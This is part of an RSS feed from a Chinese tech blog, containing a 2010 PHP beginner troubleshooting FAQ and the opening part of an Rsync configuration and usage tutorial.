		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解决方法]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=501</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>【1】页面之间无法传递变量 get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　 【2】Win32下apache2 用get方法传递中文参数会出错： test.php?a=你好&#38;b=你也好　 传递参数是会导致一个内部错误　　 解决办法:”test.php?a=”.urlencode(你好).”&#38;b=”.urlencode(你也好)　 【3】win32下的session不能正常工作　 php.ini默认的session.save_path = /tmp　 这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　 【4】显示错误信息　 　 当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　 例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　 【5】Win32下mail()不能发送电子邮件　　 在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　 php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　 【6】初装的mysql修改密码 应该使用update mysql.user set password=”yourpassword” where user=”root” 修改密码　　 【7】header already sent　　 这个错误通常会在你使用HEADER的时候出现，他可能是几种原因： 1，你在使用HEADER前PRING或者ECHO了 2.你当前文件前面有空行 3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　 【8】更改php.ini后没有变化　　 重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。 [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-501"></span>【1】页面之间无法传递变量</p>
<p>get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　</p>
<p>【2】Win32下apache2 用get方法传递中文参数会出错：</p>
<p>test.php?a=你好&amp;b=你也好　<br />
传递参数是会导致一个内部错误　　<br />
解决办法:”test.php?a=”.urlencode(你好).”&amp;b=”.urlencode(你也好)　</p>
<p>【3】win32下的session不能正常工作　</p>
<p>php.ini默认的session.save_path = /tmp　<br />
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　</p>
<p>【4】显示错误信息　<br />
　<br />
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　</p>
<p>例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　</p>
<p>【5】Win32下mail()不能发送电子邮件　　</p>
<p>在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　</p>
<p>php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　</p>
<p>【6】初装的mysql修改密码</p>
<p>应该使用update <a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>.user set password=”yourpassword” where user=”root” 修改密码　　</p>
<p>【7】header already sent　　</p>
<p>这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：</p>
<p>1，你在使用HEADER前PRING或者ECHO了<br />
2.你当前文件前面有空行<br />
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　</p>
<p>【8】更改php.ini后没有变化　　</p>
<p>重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。<br />
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。</p>
<p>【9】php在2003上面安装　<br />
　<br />
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　</p>
<p>步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　<br />
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　<br />
步骤三： 扩展名&#8211;＞php,然后添加　　<br />
步骤四：找到php.exe的路径添加上去。　　<br />
步骤五： 确定就可以了！　　　<br />
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。</p>
<p>【10】sql语句不起作用</p>
<p>sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　<br />
　<br />
【11】include和require的区别　　</p>
<p>两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　</p>
<p>据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。</p>
<p>如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。<br />
function r($file_name) {　<br />
$filenum=@fopen($file_name,”r”);　<br />
@flock($filenum,LOCK_SH);　<br />
$file_data=@fread($filenum,filesize($file_name));　<br />
@fclose($filenum);　<br />
return $file_data;}<br />
function w($file_name,$data,$method=”w”){　<br />
$filenum=@fopen($file_name,$method);　<br />
flock($filenum,LOCK_EX);　<br />
$file_data=fwrite($filenum,$data);　<br />
fclose($filenum);　<br />
return $file_data;}</p>
<p>【12】isset()和empty()的区别　　</p>
<p>两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　</p>
<p>如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=”"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　</p>
<p>【13】mysql查询语句包含有关键字　</p>
<p>　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　</p>
<p>【14】通过HTTP协议一次上传多个文件的方法　　</p>
<p>有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　<br />
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜/form＞<br />
　　<br />
这样，在服务器端做以下测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;　　</p>
<p>2、在form中设置多个文件输入框，但名字不同，如下：</p>
<p>＜form action=”" method=post＞<br />
＜input type=file name=usefile_a＞<br />
＜input type=file name=usefile_b＞<br />
＜input type=file name=usefile_c＞<br />
＜/form＞　</p>
<p>　在服务器端做同样测试：echo “＜pre＞”;print_r($_FILES);echo “＜/pre＞”;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/apache2" title="apache2" rel="tag">apache2</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/iis60" title="iis6.0" rel="tag">iis6.0</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E6%96%87" title="中文" rel="tag">中文</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%88%9D%E5%AD%A6%E8%80%85" title="初学者" rel="tag">初学者</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95" title="解决方法" rel="tag">解决方法</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%82%AE%E4%BB%B6" title="邮件" rel="tag">邮件</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a>, <a href="http://www.5bay.cn/tag/%e9%aa%8c%e8%af%81" title="验证" rel="tag">验证</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eeeeeeee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rsync详解</title>
		<link>http://www.5bay.cn/server-building/rsyncxiangjie.html</link>
		<comments>http://www.5bay.cn/server-building/rsyncxiangjie.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:38:09 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[实例]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[更新]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[说明]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=380</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/rsyncxiangjie.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>1、什么是Rsync Rsync（remote synchronize）是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远程两个主机之间的文件达到同步，这个算法只传送两个文件的不同部分，而不是每次都整份传送，因此速度相当快。   Rsync本来是用于替代rcp的一个工具，目前由rsync.samba.org维护，所以rsync.conf文件的格式类似于samba的主配置文件。Rsync可以通过rsh或ssh使用，也能以daemon模式去运行，在以daemon方式运行时Rsync server会打开一个873端口，等待客户端去连接。连接时，Rsync server会检查口令是否相符，若通过口令查核，则可以开始进行文件传输。第一次连通完成时，会把整份文件传输一次，以后则就只需进行增量备份。 Rsync支持大多数的类Unix系统，无论是Linux、Solaris还是BSD上都经过了良好的测试。此外，它在windows平台下也有相应的版本，如cwRsync和Sync2NAS等工具。 Rsync的基本特点如下： 1.可以镜像保存整个目录树和文件系统； 2.可以很容易做到保持原来文件的权限、时间、软硬链接等； 3.无须特殊权限即可安装； 4.优化的流程，文件传输效率高； 5.可以使用rsh、ssh等方式来传输文件，当然也可以通过直接的socket连接； 6.支持匿名传输。 2、Rsync同步算法 Rsync只所以同步文件的速度相当快，是因为“Rsync同步算法”能在很短的时间内计算出需要备份的数据，关于Rsync的同步算法描述如下： 假定在1号和2号两台计算机之间同步相似的文件A与B，其中1号对文件A拥有访问权，2号对文件B拥有访问权。并且假定主机1号与2号之间的网络带宽很小。那么rsync算法将通过下面的五个步骤来完成： 1、2号将文件B分割成一组不重叠的固定大小为S字节的数据块，最后一块可能会比S 小。 2、2号对每一个分割好的数据块执行两种校验：一种是32位的滚动弱校验，另一种是128位的MD4强校验。 3、2号将这些校验结果发给1号。 4、1号通过搜索文件A的所有大小为S的数据块(偏移量可以任选，不一定非要是S的倍数)，来寻找与文件B的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。 5、1号发给2号一串指令来生成文件A在2号上的备份。这里的每一条指令要么是对文件B经拥有某一个数据块而不须重传的证明，要么是一个数据块，这个数据块肯定是没有与文件B的任何一个数据块匹配上的。 3、Rsync参数说明 3.1 rsyncd.conf配置文件 －、全局参数 在文件中[module]之前的所有参数都是全局参数，当然也可以在全局参数部分定义模块参数，这时候该参数的值就是所有模块的默认值。 port 指定后台程序使用的端口号，默认为873。 motd file “motd file”参数用来指定一个消息文件，当客户连接服务器时该文件的内容显示给客户，默认是没有motd文件的。 log file “log file”指定rsync的日志文件，而不将日志发送给syslog。比如可指定为“/var/log/rsyncd.log”。 pid file 指定rsync的pid文件，通常指定为“/var/run/rsyncd.pid”。 syslog facility 指定rsync发送日志消息给syslog时的消息级别，常见的消息级别是：uth, authpriv, cron, daemon, ftp, kern, lpr, mail, news, security, sys-log, [...]]]></description>
			<content:encoded><![CDATA[<p>1、什么是Rsync</p>
<p>Rsync（remote synchronize）是一个远程数据同步工具，可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远程两个主机之间的文件达到同步，这个算法只传送两个文件的不同部分，而不是每次都整份传送，因此速度相当快。</p>
<p> <span id="more-380"></span></p>
<p>Rsync本来是用于替代rcp的一个工具，目前由rsync.samba.org维护，所以rsync.conf文件的格式类似于samba的主配置文件。Rsync可以通过rsh或ssh使用，也能以daemon模式去运行，在以daemon方式运行时Rsync server会打开一个873端口，等待客户端去连接。连接时，Rsync server会检查口令是否相符，若通过口令查核，则可以开始进行文件传输。第一次连通完成时，会把整份文件传输一次，以后则就只需进行增量备份。</p>
<p>Rsync支持大多数的类Unix系统，无论是Linux、Solaris还是BSD上都经过了良好的测试。此外，它在windows平台下也有相应的版本，如cwRsync和Sync2NAS等工具。</p>
<p>Rsync的基本特点如下：</p>
<p>1.可以镜像保存整个目录树和文件系统；</p>
<p>2.可以很容易做到保持原来文件的权限、时间、软硬链接等；</p>
<p>3.无须特殊权限即可安装；</p>
<p>4.优化的流程，文件传输效率高；</p>
<p>5.可以使用rsh、ssh等方式来传输文件，当然也可以通过直接的socket连接；</p>
<p>6.支持匿名传输。<br />
2、Rsync同步算法</p>
<p>Rsync只所以同步文件的速度相当快，是因为“Rsync同步算法”能在很短的时间内计算出需要备份的数据，关于Rsync的同步算法描述如下：</p>
<p>假定在1号和2号两台计算机之间同步相似的文件A与B，其中1号对文件A拥有访问权，2号对文件B拥有访问权。并且假定主机1号与2号之间的网络带宽很小。那么rsync算法将通过下面的五个步骤来完成：</p>
<p>1、2号将文件B分割成一组不重叠的固定大小为S字节的数据块，最后一块可能会比S 小。<br />
2、2号对每一个分割好的数据块执行两种校验：一种是32位的滚动弱校验，另一种是128位的MD4强校验。<br />
3、2号将这些校验结果发给1号。<br />
4、1号通过搜索文件A的所有大小为S的数据块(偏移量可以任选，不一定非要是S的倍数)，来寻找与文件B的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。<br />
5、1号发给2号一串指令来生成文件A在2号上的备份。这里的每一条指令要么是对文件B经拥有某一个数据块而不须重传的证明，要么是一个数据块，这个数据块肯定是没有与文件B的任何一个数据块匹配上的。</p>
<p>3、Rsync参数说明<br />
3.1 rsyncd.conf配置文件<br />
－、全局参数</p>
<p>在文件中[module]之前的所有参数都是全局参数，当然也可以在全局参数部分定义模块参数，这时候该参数的值就是所有模块的默认值。</p>
<p>port</p>
<p>指定后台程序使用的端口号，默认为873。<br />
motd file</p>
<p>“motd file”参数用来指定一个消息文件，当客户连接服务器时该文件的内容显示给客户，默认是没有motd文件的。<br />
log file</p>
<p>“log file”指定rsync的日志文件，而不将日志发送给syslog。比如可指定为“/var/log/rsyncd.log”。<br />
pid file</p>
<p>指定rsync的pid文件，通常指定为“/var/run/rsyncd.pid”。<br />
syslog facility</p>
<p>指定rsync发送日志消息给syslog时的消息级别，常见的消息级别是：uth, authpriv, cron, daemon, ftp, kern, lpr, mail, news, security, sys-log, user, uucp, local0, local1, local2, local3,local4, local5, local6和local7。默认值是daemon。</p>
<p>二、模块参数</p>
<p>主要是定义服务器哪个目录要被同步。其格式必须为“[module]”形式，这个名字就是在rsync 客户端看到的名字，其实有点象Samba服务器提供的共享名。而服务器真正同步的数据是通过 path 来指定的。我们可以根据自己的需要，来指定多个模块，模块中可以定义以下参数：</p>
<p>comment</p>
<p>给模块指定一个描述，该描述连同模块名在客户连接得到模块列表时显示给客户。默认没有描述定义。<br />
path</p>
<p>指定该模块的供备份的目录树路径，该参数是必须指定的。<br />
use chroot</p>
<p>如果”use chroot”指定为true，那么rsync在传输文件以前首先chroot到path参数所指定的目录下。这样做的原因是实现额外的安全防护，但是缺点是需要以roots权限，并且不能备份指向外部的符号连接所指向的目录文件。默认情况下chroot值为true。<br />
uid</p>
<p>该选项指定当该模块传输文件时守护进程应该具有的uid，配合gid选项使用可以确定哪些可以访问怎么样的文件权限，默认值是”nobody”。<br />
gid</p>
<p>该选项指定当该模块传输文件时守护进程应该具有的gid。默认值为”nobody”。<br />
max connections</p>
<p>指定该模块的最大并发连接数量以保护服务器，超过限制的连接请求将被告知随后再试。默认值是0，也就是没有限制。<br />
list</p>
<p>该选项设定当客户请求可以使用的模块列表时，该模块是否应该被列出。如果设置该选项为false，可以创建隐藏的模块。默认值是true。<br />
read only</p>
<p>该选项设定是否允许客户上载文件。如果为true那么任何上载请求都会失败，如果为false并且服务器目录读写权限允许那么上载是允许的。默认值为true。<br />
exclude</p>
<p>用来指定多个由空格隔开的多个文件或目录(相对路径)，并将其添加到exclude列表中。这等同于在客户端命令中使用&#8211;exclude来指定模式，一个模块只能指定一个exclude选项。但是需要注意的一点是该选项有一定的安全性问题，客户很有可能绕过exclude列表，如果希望确保特定的文件不能被访问，那就最好结合uid/gid选项一起使用。<br />
exclude from</p>
<p>指定一个包含exclude模式的定义的文件名，服务器从该文件中读取exclude列表定义。<br />
include</p>
<p>用来指定不排除符合要求的文件或目录。这等同于在客户端命令中使用&#8211;include来指定模式，结合include和exclude可以定义复杂的exclude/include规则。<br />
include from</p>
<p>指定一个包含include模式的定义的文件名，服务器从该文件中读取include列表定义。<br />
auth users</p>
<p>该选项指定由空格或逗号分隔的用户名列表，只有这些用户才允许连接该模块。这里的用户和系统用户没有任何关系。如果”auth users”被设置，那么客户端发出对该模块的连接请求以后会被rsync请求challenged进行验证身份这里使用的challenge/response认证协议。用户的名和密码以明文方式存放在”secrets file”选项指定的文件中。默认情况下无需密码就可以连接模块(也就是匿名方式)。<br />
secrets file</p>
<p>该选项指定一个包含定义用户名:密码对的文件。只有在”auth users”被定义时，该文件才有作用。文件每行包含一个username:passwd对。一般来说密码最好不要超过8个字符。没有默认的secures file名，需要限式指定一个(例如：/etc/rsyncd.passwd)。注意：该文件的权限一定要是600，否则客户端将不能连接服务器。<br />
strict modes</p>
<p>该选项指定是否监测密码文件的权限，如果该选项值为true那么密码文件只能被rsync服务器运行身份的用户访问，其他任何用户不可以访问该文件。默认值为true。<br />
hosts allow</p>
<p>该选项指定哪些IP的客户允许连接该模块。客户模式定义可以是以下形式：</p>
<p>单个IP地址，例如：192.167.0.1<br />
整个网段，例如：192.168.0.0/24，也可以是192.168.0.0/255.255.255.0</p>
<p>多个IP或网段需要用空格隔开，“*”则表示所有，默认是允许所有主机连接。<br />
hosts deny</p>
<p>指定不允许连接rsync服务器的机器，可以使用hosts allow的定义方式来进行定义。默认是没有hosts deny定义。<br />
ignore errors</p>
<p>指定rsyncd在判断是否运行传输时的删除操作时忽略server上的IO错误，一般来说rsync在出现IO错误时将将跳过&#8211;delete操作，以防止因为暂时的资源不足或其它IO错误导致的严重问题。<br />
ignore nonreadable</p>
<p>指定rysnc服务器完全忽略那些用户没有访问权限的文件。这对于在需要备份的目录中有些文件是不应该被备份者得到的情况是有意义的。<br />
lock file</p>
<p>指定支持max connections参数的锁文件，默认值是/var/run/rsyncd.lock。<br />
transfer logging</p>
<p>使rsync服务器使用ftp格式的文件来记录下载和上载操作在自己单独的日志中。<br />
log format</p>
<p>通过该选项用户在使用transfer logging可以自己定制日志文件的字段。其格式是一个包含格式定义符的字符串，可以使用的格式定义符如下所示：</p>
<p>%h 远程主机名</p>
<p>%a 远程IP地址</p>
<p>%l 文件长度字符数</p>
<p>%p 该次rsync会话的进程id</p>
<p>%o 操作类型：”send”或”recv”</p>
<p>%f 文件名</p>
<p>%P 模块路径</p>
<p>%m 模块名</p>
<p>%t 当前时间</p>
<p>%u 认证的用户名(匿名时是null)</p>
<p>%b 实际传输的字节数</p>
<p>%c 当发送文件时，该字段记录该文件的校验码</p>
<p>默认log格式为：”%o %h [%a] %m (%u) %f %l”，一般来说,在每行的头上会添加”%t [%p] “。在源代码中同时发布有一个叫rsyncstats的perl脚本程序来统计这种格式的日志文件。<br />
timeout</p>
<p>通过该选项可以覆盖客户指定的IP超时时间。通过该选项可以确保rsync服务器不会永远等待一个崩溃的客户端。超时单位为秒钟，0表示没有超时定义，这也是默认值。对于匿名rsync服务器来说，一个理想的数字是600。<br />
refuse options</p>
<p>通过该选项可以定义一些不允许客户对该模块使用的命令参数列表。这里必须使用命令全名，而不能是简称。但发生拒绝某个命令的情况时服务器将报告错误信息然后退出。如果要防止使用压缩，应该是：”dont compress = *”。<br />
dont compress</p>
<p>用来指定那些不进行压缩处理再传输的文件，默认值是*.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz</p>
<p>3.2 Rsync命令</p>
<p>在对rsync服务器配置结束以后，下一步就需要在客户端发出rsync命令来实现将服务器端的文件备份到客户端来。rsync是一个功能非常强大的工具，其命令也有很多功能特色选项，我们下面就对它的选项一一进行分析说明。</p>
<p>Rsync的命令格式可以为以下六种：<br />
rsync [OPTION]&#8230; SRC DEST</p>
<p>rsync [OPTION]&#8230; SRC [USER@]HOST:DEST</p>
<p>rsync [OPTION]&#8230; [USER@]HOST:SRC DEST</p>
<p>rsync [OPTION]&#8230; [USER@]HOST::SRC DEST</p>
<p>rsync [OPTION]&#8230; SRC [USER@]HOST::DEST</p>
<p>rsync [OPTION]&#8230; rsync://[USER@]HOST[:PORT]/SRC [DEST]<br />
对应于以上六种命令格式，rsync有六种不同的工作模式：</p>
<p>1)拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号”:”分隔符时就启动这种工作模式。如：rsync -a /data /backup</p>
<p>2)使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号”:”分隔符时启动该模式。如：rsync -avz *.c foo:src</p>
<p>3)使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号”:”分隔符时启动该模式。如：rsync -avz foo:src/bar /data</p>
<p>4)从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含”::”分隔符时启动该模式。如：rsync -av <a href="mailto:root@172.16.78.192::www">root@172.16.78.192::www</a> /databack</p>
<p>5)从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含”::”分隔符时启动该模式。如：rsync -av /databack <a href="mailto:root@172.16.78.192::www">root@172.16.78.192::www</a></p>
<p>6)列远程机的文件列表。这类似于rsync传输，不过只要在命令中省略掉本地机信息即可。如：rsync -v rsync://172.16.78.192/www<br />
rsync参数的具体解释如下：<br />
-v, &#8211;verbose 详细模式输出<br />
-q, &#8211;quiet 精简输出模式<br />
-c, &#8211;checksum 打开校验开关，强制对文件传输进行校验<br />
-a, &#8211;archive 归档模式，表示以递归方式传输文件，并保持所有文件属性，等于-rlptgoD<br />
-r, &#8211;recursive 对子目录以递归模式处理<br />
-R, &#8211;relative 使用相对路径信息<br />
-b, &#8211;backup 创建备份，也就是对于目的已经存在有同样的文件名时，将老的文件重新命名为~filename。可以使用&#8211;suffix选项来指定不同的备份文件前缀。<br />
